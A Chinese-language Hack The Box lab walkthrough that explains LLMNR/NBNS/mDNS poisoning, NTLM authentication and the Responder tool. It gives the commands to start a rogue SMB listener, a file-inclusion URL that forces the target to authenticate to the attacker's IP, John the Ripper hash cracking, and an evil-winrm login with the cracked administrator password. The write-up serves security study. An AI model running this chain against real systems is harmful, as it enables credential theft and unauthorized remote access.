Responder

在hack the box 最后一个sql注入题时,有这个工具的使用,之前没有接触过,看write up上是需要利用两个IP地址,似乎与内网渗透有关,马上查找相关资料,看到底是个什么东东。

什么是Responder

在攻防领域,欺骗从来都是技术热点区域,不管是攻守双方均会使用欺骗来进行技术上的对抗,对于防守方来说,蜜罐就是欺骗防御的代表安全产品,而对于攻击方来说,钓鱼网页、鱼叉附件等欺骗手段更是家常便饭。在内网攻防中,responder就是一个不得不说的工具。

Responder欺骗原理

基本协议LLMNR、NBNS、MDNS

在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR、名称服务器(NBNS) 协议和多播DNS(mdns)协议

LLMNR

链路本地多播名称解析(LLMNR是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。

NBNS

网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。

mdns

在计算机网络中 , 多播DNS ( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统 (DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且MDNS也支持IPV6。

目前仅有windows 10支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。

在题目情景下,网页存在文件包含漏洞,因此,存在着攻击者在工作站上包含文件的可能性,如果选择SMB这样的协议,Windows我们知道,此网页易受文件包含漏洞的攻击,并在Windows计算机上提供服务。因此,存在在攻击者工作站上包含文件的可能性。如果我们选择SMB这样的协议,Windows将尝试对我们的机器进行身份验证,我们可以捕获NetNTLMv2。

SMB协议:SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口

内网渗透中smb服务(139,445端口)的利用方式

NTLM是由Microsoft创建的身份验证协议的集合。它是一种质询-响应身份验证协议,用于向Active Directory域上的资源验证客户端。
它是一种单点登录(SSO),因为它允许用户在登录时只提供一次底层身份验证因素。
NTLM身份验证过程按以下方式完成:

1.客户端将用户名和域名发送到服务器。
2.服务器生成一个随机字符串,称为挑战。
3.客户端使用用户密码的NTLM哈希对质询进行加密,并将其发送回服务器。
4.服务器检索用户密码(或等效密码)。
5.使用从服务器检索到的哈希值加密帐户。然后将该值与从客户端接收到的值进行比较。如果值匹配,则对客户端进行身份验证。

Responder的工作原理

工作流程

Responder程序可以执行多种不同类型的攻击,但在这种情况下,它将设置恶意SMB服务器。
当目标计算机尝试对该服务器执行NTLM身份验证时,Responder会向服务器发送一个challenge,要求服务器使用用户的密码进行加密。当服务器响应时,Responder将使用质询和加密响应生成NetNTLMv2。虽然我们无法逆转NetNTLMv2,但我们可以尝试使用许多不同的常用密码,看看是否有任何密码会生成相同的challenge响应,如果找到一个,我们就知道这就是密码。这通常被称为散列破解,我们将使用一个名为John The Ripper的程序来实现。

使用Responder之前需要查看Responder.conf配置文件,SMB的服务是否开启。

 配置文件就绪后,我们可以继续使用python3启动响应程序,通过-I标志传入接口以监听:

python Responder.py -I tun0

 在响应服务器就绪的情况下,我们通过web浏览器按如下方式设置页面参数,告诉服务器包含来自SMB服务器的资源。

http://unika.htb/?page=/10.10.14.7/somefile  #服务器端访问

监听得到

 将得到的hash值保存为hash.txt文件。

散列破解

将上述的hash值保存为hash.txt

我们将散列文件传递给john,并破解管理员帐户的密码。散列类型由john命令行工具自动识别:

-w : wordlist to use for cracking the hash

john -w=/usr/share/wordlists/rockyou.txt hash.txt

 得出关键信息:password:badminton

WinRM

Windows Remote Management或WinRM是Windows本机内置的远程管理协议,基本上使用简单的对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM允许用户:

→ 与主机进行远程通信和接口

→ 在非本地但可通过网络访问的系统上远程执行命令。
→ 从远程位置监视、管理和配置服务器、操作系统和客户机。
作为pentester,这意味着如果我们能找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得PowerShell外壳。

利用evil-winrm远程连接:

evil-winrm -i 10.129.136.91 -u administrator -p badminton
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值